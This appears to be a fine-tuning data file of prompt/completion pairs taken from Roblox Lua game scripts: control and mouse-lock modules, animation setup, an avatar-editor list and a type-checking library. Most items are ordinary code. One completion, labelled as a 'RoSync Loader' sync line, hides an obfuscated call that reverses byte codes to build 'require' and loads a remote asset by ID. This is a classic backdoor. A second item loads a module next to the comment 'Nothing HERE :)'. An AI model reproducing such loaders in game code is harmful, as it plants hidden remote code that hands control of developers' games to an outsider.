+{"prompt": "--[[\n\tThis code took me about 2 hours to do, \n\t\n\tI could just use Roblox's normal physics (Part's Velocity property), but it's really gross\n\tand broken, so I just made this one.\n\t\n\tAlso, be sure to credit me if you're gonna use this in your game.\n\t\n\tUPDATE: 'RunService' function has been removed from the script due that it only works\n\tfor StarterGui, lol.\n]]", "completion": "\n\n"} +{"prompt": "-- constants", "completion": "\n\nlocal REMOTES\t= ReplicatedStorage.Remotes\nlocal MODULES\t= ReplicatedStorage.Modules\n\tlocal CONFIG\t= require(MODULES.Config)\n\t\nlocal POSITION_BUFFER\t= 15\n"} +{"prompt": "--[[\nlocal function touchEnded(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\t--print(\"touch ended\")\t\n\t\t\tplayersNear[player] = nil\n\t\t\t\n\t\t\tif(next(playersNear) == nil) then\n\t\t\t\tif(doorState == DoorState.Open) then\n\t\t\t\t\tStartClosing()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend]]", "completion": "\n\ntrigger.Touched:Connect(touched)"} +{"prompt": "--[[ FOOD FRAME LOCALS ]]", "completion": "--\n\nlocal SaladScroll = FoodFrame.SaladScroll\nlocal SandScroll = FoodFrame.SandScroll\n"} +{"prompt": "-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of\n-- current control scheme", "completion": "\nfunction ControlModule:OnComputerMovementModeChange()\n\tlocal controlModule, success = self:SelectComputerMovementModule()\n\tif success then\n\t\tself:SwitchToController(controlModule)\n\tend\nend\n\nfunction ControlModule:OnTouchMovementModeChange()\n\tlocal touchModule, success = self:SelectTouchModule()\n\tif success then\n\t\twhile not self.touchControlFrame do\n\t\t\twait()\n\t\tend\n\t\tself:SwitchToController(touchModule)\n\tend\nend\n\nfunction ControlModule:CreateTouchGuiContainer()\n\tif self.touchGui then self.touchGui:Destroy() end\n\n\t-- Container for all touch device guis\n\tself.touchGui = Instance.new(\"ScreenGui\")\n\tself.touchGui.Name = \"TouchGui\"\n\tself.touchGui.ResetOnSpawn = false\n\tself.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling\n\tself.touchGui.Enabled = self.humanoid ~= nil\n\n\tself.touchControlFrame = Instance.new(\"Frame\")\n\tself.touchControlFrame.Name = \"TouchControlFrame\"\n\tself.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)\n\tself.touchControlFrame.BackgroundTransparency = 1\n\tself.touchControlFrame.Parent = self.touchGui\n\n\tself.touchGui.Parent = self.playerGui\nend\n\nfunction ControlModule:GetClickToMoveController()\n\tif not self.controllers[ClickToMove] then\n\t\tself.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)\n\tend\n\treturn self.controllers[ClickToMove]\nend\n\nreturn ControlModule.new()\n"} +{"prompt": "---Basic_Settings:---", "completion": "\nlocal light = true -- Set to false if u dont have light added\nlocal maxv = 110 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane\nlocal minspeed = -30 -- min speed In real KT \nlocal Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops"} +{"prompt": "--[[ Last synced 4/2/2022 10:35 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "--------------------------------------Dont change anything under here!----------------------------------------------", "completion": "\n\nfunction Setup()\n\tfor i,p in pairs(game.Players:GetChildren()) do\n\t\tif (p.Character == wand.Parent) then\n\n\t\t\tif (connect ~= nil) then connect:Disconnect() end\n\t\t\tconnect = p.Chatted:Connect(PlayerTalked)\n\t\t\towner = p\n\t\tend\n\tend\nend\n\nfunction PlayerTalked(words)\n\t \n\tif (string.find(string.lower(words) , string.lower(inc)) ~= nil) and (wand.Parent == owner.Character) then\n\t\tprint(\"Casting the spell ''\" ..inc.. \"''\")\n\t\tCastSpell()\n\tend\nend\n\nfunction CastSpell()\n\twand.Parent.Humanoid.Jump = true\n\twait(.33)\n\twand.Parent.UpperTorso.Velocity = Vector3.new(0,10000,0)\nend\n\nwand.Equipped:Connect(Setup)\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nmath.randomseed(tick())\n\nfunction findExistingAnimationInSet(set, anim)\n\tif set == nil or anim == nil then\n\t\treturn 0\n\tend\n\n\tfor idx = 1, set.count, 1 do \n\t\tif set[idx].anim.AnimationId == anim.AnimationId then\n\t\t\treturn idx\n\t\tend\n\tend\n\n\treturn 0\nend\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))\n\n\t\tlocal idx = 0\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\tlocal newWeight = 1\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject ~= nil) then\n\t\t\t\t\tnewWeight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tidx = animTable[name].count\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tanimTable[name][idx].weight = newWeight\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildAdded:Connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildRemoved:Connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\tend\n\tend\n\n\t-- preload anims\n\tfor i, animType in pairs(animTable) do\n\t\tfor idx = 1, animType.count, 1 do\n\t\t\tif PreloadedAnims[animType[idx].anim.AnimationId] == nil then\n\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\t\tPreloadedAnims[animType[idx].anim.AnimationId] = true\n\t\t\tend\t\t\t\t\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Declarables", "completion": "\nlocal L_15_ = false\n\nlocal L_16_ = false\nlocal L_17_ = true\n\nlocal L_18_ = L_1_:WaitForChild('Resource')\nlocal L_19_ = L_18_:WaitForChild('FX')\nlocal L_20_ = L_18_:WaitForChild('Events')\nlocal L_21_ = L_18_:WaitForChild('HUD')\nlocal L_22_ = L_18_:WaitForChild('Modules')\nlocal L_23_ = L_18_:WaitForChild('SettingsModule')\nlocal L_24_ = require(L_23_:WaitForChild(\"ClientConfig\"))\nlocal L_25_ = L_18_:WaitForChild('Vars')\n\nlocal L_26_\nlocal L_27_\nlocal L_28_\nlocal L_29_\nlocal L_30_\nlocal L_31_\nlocal L_32_\nlocal L_33_\nlocal L_34_\nlocal L_35_\nlocal L_36_\nlocal L_37_\nlocal L_38_\nlocal L_39_\nlocal L_40_\nlocal L_41_\n\nlocal L_42_\n\nlocal L_43_\nlocal L_44_\nlocal L_45_\nlocal L_46_\nlocal L_47_\nlocal L_48_\nlocal L_49_\n\nlocal L_50_ = L_24_.AimZoom\n\nlocal L_51_ = L_24_.MouseSensitivity\nlocal L_52_ = L_12_.MouseDeltaSensitivity\n\nlocal L_53_ = game.ReplicatedStorage:FindFirstChild('SoundIso_Network') or nil\nlocal L_54_\nif L_53_ then\n\tL_54_ = L_53_:WaitForChild('EventConnection')\nend\n\nlocal L_55_ = CFrame.Angles(0, 0, 0)\n"} +{"prompt": "--[[\n\tControlModule - This ModuleScript implements a singleton class to manage the\n\tselection, activation, and deactivation of the current character movement controller.\n\tThis script binds to RenderStepped at Input priority and calls the Update() methods\n\ton the active controller instances.\n\n\tThe character controller ModuleScripts implement classes which are instantiated and\n\tactivated as-needed, they are no longer all instantiated up front as they were in\n\tthe previous generation of PlayerScripts.\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\nlocal ControlModule = {}\nControlModule.__index = ControlModule\n"} +{"prompt": "-- \tlocal button = DROP_BUTTON:Clone()\n-- \tlocal listFrame = Lazy.Constructors.List.Create(list, max)", "completion": "\n\t"} +{"prompt": "--- Begins listening to the current instance.", "completion": "\nfunction ScopeHierarchyItemButton:StartTrackingInstance()\n local NameChanged = self.props.Instance:GetPropertyChangedSignal('Name')\n self.Maid.NameListener = NameChanged:Connect(function ()\n self:UpdateInstanceState()\n end)\nend\n"} +{"prompt": "-- right mouse button up & down events", "completion": "\nlocal rmbDown, rmbUp do\n\tlocal rmbDownBindable = Instance.new(\"BindableEvent\")\n\tlocal rmbUpBindable = Instance.new(\"BindableEvent\")\n\n\trmbDown = rmbDownBindable.Event\n\trmbUp = rmbUpBindable.Event\n\n\tUserInputService.InputBegan:Connect(function(input, gpe)\n\t\tif not gpe and input.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\t\trmbDownBindable:Fire()\n\t\tend\n\tend)\n\n\tUserInputService.InputEnded:Connect(function(input, gpe)\n\t\tif input.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\t\trmbUpBindable:Fire()\n\t\tend\n\tend)\nend\n\nlocal thumbstickCurve do\n\tlocal K_CURVATURE = 2 -- amount of upwards curvature (0 is flat)\n\tlocal K_DEADZONE = 0.1 -- deadzone\n\n\tfunction thumbstickCurve(x)\n\t\t-- remove sign, apply linear deadzone\n\t\tlocal fDeadzone = (math.abs(x) - K_DEADZONE)/(1 - K_DEADZONE)\n\t\t\n\t\t-- apply exponential curve and scale to fit in [0, 1]\n\t\tlocal fCurve = (math.exp(K_CURVATURE*fDeadzone) - 1)/(math.exp(K_CURVATURE) - 1)\n\t\t\n\t\t-- reapply sign and clamp\n\t\treturn math.sign(x)*math.clamp(fCurve, 0, 1)\n\tend\nend\n"} +{"prompt": "--[[\n\n\n\n]]", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\n\nlocal AvatarEditor = ReplicatedStorage.AvatarEditor\nlocal Maid = require(AvatarEditor.Shared.Util.Maid)\nlocal Promise = require(AvatarEditor.Shared.Util.Promise)\nlocal Signal = require(AvatarEditor.Shared.Util.Signal)\nlocal Settings = require(AvatarEditor.Shared.Settings)\nlocal Theme = require(AvatarEditor.Client.Theme)\n\nlocal buttonTemplate = require(AvatarEditor.Gui.CostumeTemplateToLua)()\n\nlocal player = Players.LocalPlayer\n\nlocal Class = {}\nClass.__index = Class\n\n\nlocal function createButton()\n\tlocal button = buttonTemplate:Clone()\n\treturn button\nend\n\n\nfunction Class.new(frame)\n\tlocal self = setmetatable({}, Class)\n\t\n\tself.Maid = Maid.new()\n\tself.Listeners = Maid.new()\n\tself.ScrollingFrame = frame.ScrollingFrame\n\tself.GridLayout = self.ScrollingFrame.UIGridLayout\n\tself.Wear = Signal.new()\n\tself.Delete = Signal.new()\n\tself.Children = {}\n\tself.Pool = {}\n\t\n\tfor i = 1, 50 do\n\t\tself.Pool[i] = createButton()\n\tend\n\t\n\tself.Maid:GiveTask(Theme.Changed:Connect(function()\n\t\tself:Render()\n\tend))\n\t\n\tself.Maid:GiveTask(Theme:Bind(self.ScrollingFrame, \"ScrollBarImageColor3\", \"Scrollbar\"))\n\t\n\tPromise.new(function(resolve, reject)\n\t\tlocal folder = player:WaitForChild(\"AE_Costumes\")\n\t\tresolve(folder)\n\tend)\n\t:andThen(function(folder)\n\t\tself.Folder = folder\n\t\tself.Maid:GiveTask(folder.ChildAdded:Connect(function()\n\t\t\tself:Render()\n\t\tend))\n\t\tself.Maid:GiveTask(folder.ChildRemoved:Connect(function()\n\t\t\tself:Render()\n\t\tend))\n\t\tself:Render()\n\tend)\n\t:catch(warn)\n\t\n\treturn self\nend\n\n\nfunction Class:GetItem()\n\tlocal pool = self.Pool\n\tlocal button = table.remove(pool, #pool)\n\tif not button then\n\t\tbutton = createButton()\n\tend\n\treturn button\nend\n\n\nfunction Class:Render()\n\tif not self.Folder then\n\t\treturn\n\tend\n\t\n\tlocal folder = self.Folder\n\tlocal maid = self.Listeners\n\tlocal children = self.Children\n\tlocal scrollingFrame = self.ScrollingFrame\n\tlocal uiGridLayout = self.GridLayout\n\tlocal pool = self.Pool\n\t\n\tlocal list = folder:GetChildren()\n\tlocal newChildren = {}\n\t\n\tmaid:DoCleaning()\n\t\n\tfor i, v in ipairs(list) do\n\t\tlocal button = children[i] or self:GetItem()\n\t\tnewChildren[i] = button\n\t\t\n\t\tbutton.ItemLabel.Text = v.Name\n\t\tbutton.More.Visible = false\n\t\t\n\t\tmaid:GiveTask(Theme:Bind(button, \"BackgroundColor3\", \"Button\"))\n\t\tmaid:GiveTask(Theme:Bind(button.ItemLabel, \"TextColor3\", \"Text\"))\n\t\tmaid:GiveTask(Theme:Bind(button.ItemLabel, \"TextStrokeColor3\", \"TextStroke\"))\n\t\tmaid:GiveTask(Theme:Bind(button.More, \"BackgroundColor3\", \"Delete\"))\n\t\tmaid:GiveTask(Theme:Bind(button.More, \"TextColor3\", \"Text\"))\n\t\t\n\t\tPromise.new(function(resolve, reject)\n\t\t\tlocal success, result = pcall(function()\n\t\t\t\treturn Players:CreateHumanoidModelFromDescription(v, Enum.HumanoidRigType.R15, Enum.AssetTypeVerification.ClientOnly)\n\t\t\tend)\n\t\t\tif success then\n\t\t\t\tresolve(result)\n\t\t\telse\n\t\t\t\treject(result)\n\t\t\tend\n\t\tend)\n\t\t:andThen(function(result)\n\t\t\tmaid:GiveTask(result)\n\t\t\tresult:SetPrimaryPartCFrame(CFrame.new())\n\t\t\t\n\t\t\tlocal humanoid = result.Humanoid\n\t\t\thumanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None\n\t\t\thumanoid.HealthDisplayType = Enum.HumanoidHealthDisplayType.AlwaysOff\n\t\t\tresult.Animate:Destroy()\n\t\t\t\n\t\t\tlocal viewport = button.ViewportFrame\n\t\t\tlocal camera = Instance.new(\"Camera\")\n\t\t\tmaid:GiveTask(camera)\n\t\t\tcamera.CFrame = CFrame.lookAt(Vector3.new(-2, 2, -5), result.PrimaryPart.Position)\n\t\t\tcamera.Parent = button\n\t\t\tviewport.CurrentCamera = camera\n\t\t\tresult.Parent = viewport.WorldModel\n\t\t\tmaid:GiveTask(function()\n\t\t\t\tviewport.CurrentCamera = nil\n\t\t\tend)\n\t\tend)\n\t\t:catch(warn)\n\t\t\n\t\tmaid:GiveTask(button.More.Activated:Connect(function(inputObject)\n\t\t\tself.Delete:Fire(v)\n\t\tend))\n\t\t\n\t\tmaid:GiveTask(button.TouchLongPress:Connect(function(touchPositions, inputState)\n\t\t\tbutton.ItemLabel.Visible = false\n\t\t\tbutton.More.Visible = false\n\t\t\tself.Delete:Fire(v)\n\t\tend))\n\t\t\n\t\tmaid:GiveTask(button.InputBegan:Connect(function(inputObject)\n\t\t\tif not Settings.HOVER_INPUTS[inputObject.UserInputType] then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tbutton.ItemLabel.Visible = true\n\t\t\tif inputObject.UserInputType == Enum.UserInputType.MouseMovement then\n\t\t\t\tbutton.More.Visible = true\n\t\t\tend\n\t\tend))\n\n\t\tmaid:GiveTask(button.InputEnded:Connect(function(inputObject)\n\t\t\tif not Settings.HOVER_INPUTS[inputObject.UserInputType] then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tbutton.ItemLabel.Visible = false\n\t\t\tbutton.More.Visible = false\n\t\tend))\n\t\t\n\t\tmaid:GiveTask(button.Activated:Connect(function(inputObject)\n\t\t\tself.Wear:Fire(v)\n\t\tend))\n\t\t\n\t\tbutton.Parent = scrollingFrame\n\tend\n\t\n\tfor i = #list + 1, #children do\n\t\tlocal button = children[i]\n\t\tbutton.Parent = nil\n\t\ttable.insert(pool, button)\n\tend\n\t\n\tself.Children = newChildren\n\tscrollingFrame.CanvasSize = UDim2.new(0, 0, 0, uiGridLayout.AbsoluteContentSize.Y)\nend\n\n\nfunction Class:Destroy()\n\tself.Maid:DoCleaning()\n\tself.Maid = nil\n\tself.Listeners:DoCleaning()\n\tself.Listeners = nil\n\tfor i, v in ipairs(self.Children) do\n\t\tv:Destroy()\n\tend\n\ttable.clear(self.Children)\n\tfor i, v in ipairs(self.Pool) do\n\t\tv:Destroy()\n\tend\n\ttable.clear(self.Pool)\n\tsetmetatable(self, nil)\nend\n\n\nreturn Class\n"} +{"prompt": "-- EVENTS", "completion": "\nIconController.iconAdded = Signal.new()\nIconController.iconRemoved = Signal.new()\nIconController.controllerModeStarted = Signal.new()\nIconController.controllerModeEnded = Signal.new()\nIconController.healthbarDisabledSignal = Signal.new()\n"} +{"prompt": "--Give submit button functionality.", "completion": "\nscript.Parent.Frame.ImageButton.MouseButton1Click:Connect(function()\n\tlocal humanoide = player.Character\n\t\tlocal filteredText = script.Parent.Frame.TextBox.Text\n\n\t\thumanoide.Head.nam.A.Text = filteredText\n\t\t\n\t\t\n\t\t\n\t\nend)\n"} +{"prompt": "--[[Digital 7 Itlaic --]]", "completion": " local aa = script.MainModule --Nothing HERE :)\n\n"} +{"prompt": "-- Load tool completely before proceeding", "completion": "\nlocal Indicator = Tool:WaitForChild 'Loaded';\nwhile not Indicator.Value do\n\tIndicator.Changed:wait();\nend;\n"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nfunction MouseLockController:OnMouseLockToggled()\n\tself.isMouseLocked = not self.isMouseLocked\n\n\tif self.isMouseLocked then\n\t\tlocal cursorImageValueObj = script:FindFirstChild(\"CursorImage\")\n\t\tif cursorImageValueObj and cursorImageValueObj:IsA(\"StringValue\") and cursorImageValueObj.Value then\n\t\t\tself.savedMouseCursor = Mouse.Icon\n\t\t\tMouse.Icon = cursorImageValueObj.Value\n\t\telse\n\t\t\tif cursorImageValueObj then\n\t\t\t\tcursorImageValueObj:Destroy()\n\t\t\tend\n\t\t\tcursorImageValueObj = Instance.new(\"StringValue\")\n\t\t\tcursorImageValueObj.Name = \"CursorImage\"\n\t\t\tcursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR\n\t\t\tcursorImageValueObj.Parent = script\n\t\t\tself.savedMouseCursor = Mouse.Icon\n\t\t\tMouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR\n\t\tend\n\telse\n\t\tif self.savedMouseCursor then\n\t\t\tMouse.Icon = self.savedMouseCursor\n\t\t\tself.savedMouseCursor = nil\n\t\tend\n\tend\n\n\tself.mouseLockToggledEvent:Fire()\nend\n\nfunction MouseLockController:DoMouseLockSwitch(name, state, input)\n\tif state == Enum.UserInputState.Begin then\n\t\tself:OnMouseLockToggled()\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction MouseLockController:BindContextActions()\n\tContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)\n\t\treturn self:DoMouseLockSwitch(name, state, input)\n\tend, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))\nend\n\nfunction MouseLockController:UnbindContextActions()\n\tContextActionService:UnbindAction(CONTEXT_ACTION_NAME)\nend\n\nfunction MouseLockController:IsMouseLocked()\n\treturn self.enabled and self.isMouseLocked\nend\n\nfunction MouseLockController:EnableMouseLock(enable)\n\tif enable ~= self.enabled then\n\n\t\tself.enabled = enable\n\n\t\tif self.enabled then\n\t\t\t-- Enabling the mode\n\t\t\tself:BindContextActions()\n\t\telse\n\t\t\t-- Disabling\n\t\t\t-- Restore mouse cursor\n\t\t\tif Mouse.Icon~=\"\" then\n\t\t\t\tMouse.Icon = \"\"\n\t\t\tend\n\n\t\t\tself:UnbindContextActions()\n\n\t\t\t-- If the mode is disabled while being used, fire the event to toggle it off\n\t\t\tif self.isMouseLocked then\n\t\t\t\tself.mouseLockToggledEvent:Fire()\n\t\t\tend\n\n\t\t\tself.isMouseLocked = false\n\t\tend\n\n\tend\nend\n\nreturn MouseLockController\n"} +{"prompt": "-- roblox types", "completion": "\n\nt.Axes = primitive(\"Axes\")\nt.BrickColor = primitive(\"BrickColor\")\nt.CFrame = primitive(\"CFrame\")\nt.Color3 = primitive(\"Color3\")\nt.ColorSequence = primitive(\"ColorSequence\")\nt.ColorSequenceKeypoint = primitive(\"ColorSequenceKeypoint\")\nt.DockWidgetPluginGuiInfo = primitive(\"DockWidgetPluginGuiInfo\")\nt.Faces = primitive(\"Faces\")\nt.Instance = primitive(\"Instance\")\nt.NumberRange = primitive(\"NumberRange\")\nt.NumberSequence = primitive(\"NumberSequence\")\nt.NumberSequenceKeypoint = primitive(\"NumberSequenceKeypoint\")\nt.PathWaypoint = primitive(\"PathWaypoint\")\nt.PhysicalProperties = primitive(\"PhysicalProperties\")\nt.Random = primitive(\"Random\")\nt.Ray = primitive(\"Ray\")\nt.Rect = primitive(\"Rect\")\nt.Region3 = primitive(\"Region3\")\nt.Region3int16 = primitive(\"Region3int16\")\nt.TweenInfo = primitive(\"TweenInfo\")\nt.UDim = primitive(\"UDim\")\nt.UDim2 = primitive(\"UDim2\")\nt.Vector2 = primitive(\"Vector2\")\nt.Vector3 = primitive(\"Vector3\")\nt.Vector3int16 = primitive(\"Vector3int16\")\nt.Enum = primitive(\"Enum\")\nt.EnumItem = primitive(\"EnumItem\")\nt.RBXScriptSignal = primitive(\"RBXScriptSignal\")\nt.RBXScriptConnection = primitive(\"RBXScriptConnection\")\n\nfunction t.literal(...)\n\tlocal size = select(\"#\", ...)\n\tif size == 1 then\n\t\tlocal literal = ...\n\t\treturn function(value)\n\t\t\tif value ~= literal then\n\t\t\t\treturn false\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\telse\n\t\tlocal literals = {}\n\t\tfor i = 1, size do\n\t\t\tlocal value = select(i, ...)\n\t\t\tliterals[i] = t.literal(value)\n\t\tend\n\t\treturn t.union(unpack(literals))\n\tend\nend\n\nt.exactly = t.literal\n\nfunction t.keyOf(keyTable)\n\tlocal keys = {}\n\tfor key in pairs(keyTable) do\n\t\tkeys[#keys + 1] = key\n\tend\n\treturn t.literal(unpack(keys))\nend\n\nfunction t.valueOf(valueTable)\n\tlocal values = {}\n\tfor _, value in pairs(valueTable) do\n\t\tvalues[#values + 1] = value\n\tend\n\treturn t.literal(unpack(values))\nend\n\nfunction t.integer(value)\n\tlocal success = t.number(value)\n\tif not success then\n\t\treturn false\n\tend\n\tif value%1 == 0 then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n\nfunction t.numberMin(min)\n\treturn function(value)\n\t\tlocal success = t.number(value)\n\t\tif not success then\n\t\t\treturn false\n\t\tend\n\t\tif value >= min then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nfunction t.numberMax(max)\n\treturn function(value)\n\t\tlocal success = t.number(value)\n\t\tif not success then\n\t\t\treturn false\n\t\tend\n\t\tif value <= max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nfunction t.numberMinExclusive(min)\n\treturn function(value)\n\t\tlocal success = t.number(value)\n\t\tif not success then\n\t\t\treturn false\n\t\tend\n\t\tif min < value then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nfunction t.numberMaxExclusive(max)\n\treturn function(value)\n\t\tlocal success = t.number(value)\n\t\tif not success then\n\t\t\treturn false\n\t\tend\n\t\tif value < max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nt.numberPositive = t.numberMinExclusive(0)\nt.numberNegative = t.numberMaxExclusive(0)\n\nfunction t.numberConstrained(min, max)\n\tassert(t.number(min) and t.number(max))\n\tlocal minCheck = t.numberMin(min)\n\tlocal maxCheck = t.numberMax(max)\n\treturn function(value)\n\t\tlocal minSuccess = minCheck(value)\n\t\tif not minSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tlocal maxSuccess = maxCheck(value)\n\t\tif not maxSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.numberConstrainedExclusive(min, max)\n\tassert(t.number(min) and t.number(max))\n\tlocal minCheck = t.numberMinExclusive(min)\n\tlocal maxCheck = t.numberMaxExclusive(max)\n\treturn function(value)\n\t\tlocal minSuccess = minCheck(value)\n\t\tif not minSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tlocal maxSuccess = maxCheck(value)\n\t\tif not maxSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.match(pattern)\n\tassert(t.string(pattern))\n\treturn function(value)\n\t\tlocal stringSuccess = t.string(value)\n\t\tif not stringSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tif string.match(value, pattern) == nil then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.optional(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tif value == nil then\n\t\t\treturn true\n\t\tend\n\t\tlocal success = check(value)\n\t\tif success then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\nfunction t.tuple(...)\n\tlocal checks = {...}\n\treturn function(...)\n\t\tlocal args = {...}\n\t\tfor i = 1, #checks do\n\t\t\tlocal success = checks[i](args[i])\n\t\t\tif success == false then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend\nend\n\nfunction t.keys(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tlocal tableSuccess = t.table(value)\n\t\tif tableSuccess == false then\n\t\t\treturn false\n\t\tend\n\n\t\tfor key in pairs(value) do\n\t\t\tlocal success = check(key)\n\t\t\tif success == false then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.values(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tlocal tableSuccess = t.table(value)\n\t\tif tableSuccess == false then\n\t\t\treturn false\n\t\tend\n\n\t\tfor _, val in pairs(value) do\n\t\t\tlocal success = check(val)\n\t\t\tif success == false then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.map(keyCheck, valueCheck)\n\tassert(t.callback(keyCheck), t.callback(valueCheck))\n\tlocal keyChecker = t.keys(keyCheck)\n\tlocal valueChecker = t.values(valueCheck)\n\treturn function(value)\n\t\tlocal keySuccess = keyChecker(value)\n\t\tif not keySuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tlocal valueSuccess = valueChecker(value)\n\t\tif not valueSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\n\ndo\n\tlocal arrayKeysCheck = t.keys(t.integer)\n\n\tfunction t.array(check)\n\t\tassert(t.callback(check))\n\t\tlocal valuesCheck = t.values(check)\n\t\treturn function(value)\n\t\t\tlocal keySuccess = arrayKeysCheck(value)\n\t\t\tif keySuccess == false then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\t-- # is unreliable for sparse arrays\n\t\t\t-- Count upwards using ipairs to avoid false positives from the behavior of #\n\t\t\tlocal arraySize = 0\n\n\t\t\tfor _, _ in ipairs(value) do\n\t\t\t\tarraySize = arraySize + 1\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif key < 1 or key > arraySize then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal valueSuccess = valuesCheck(value)\n\t\t\tif not valueSuccess then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\ndo\n\tlocal callbackArray = t.array(t.callback)\n\n\tfunction t.union(...)\n\t\tlocal checks = {...}\n\t\tassert(callbackArray(checks))\n\t\treturn function(value)\n\t\t\tfor _, check in pairs(checks) do\n\t\t\t\tif check(value) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfunction t.intersection(...)\n\t\tlocal checks = {...}\n\t\tassert(callbackArray(checks))\n\t\treturn function(value)\n\t\t\tfor _, check in pairs(checks) do\n\t\t\t\tlocal success = check(value)\n\t\t\t\tif not success then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn 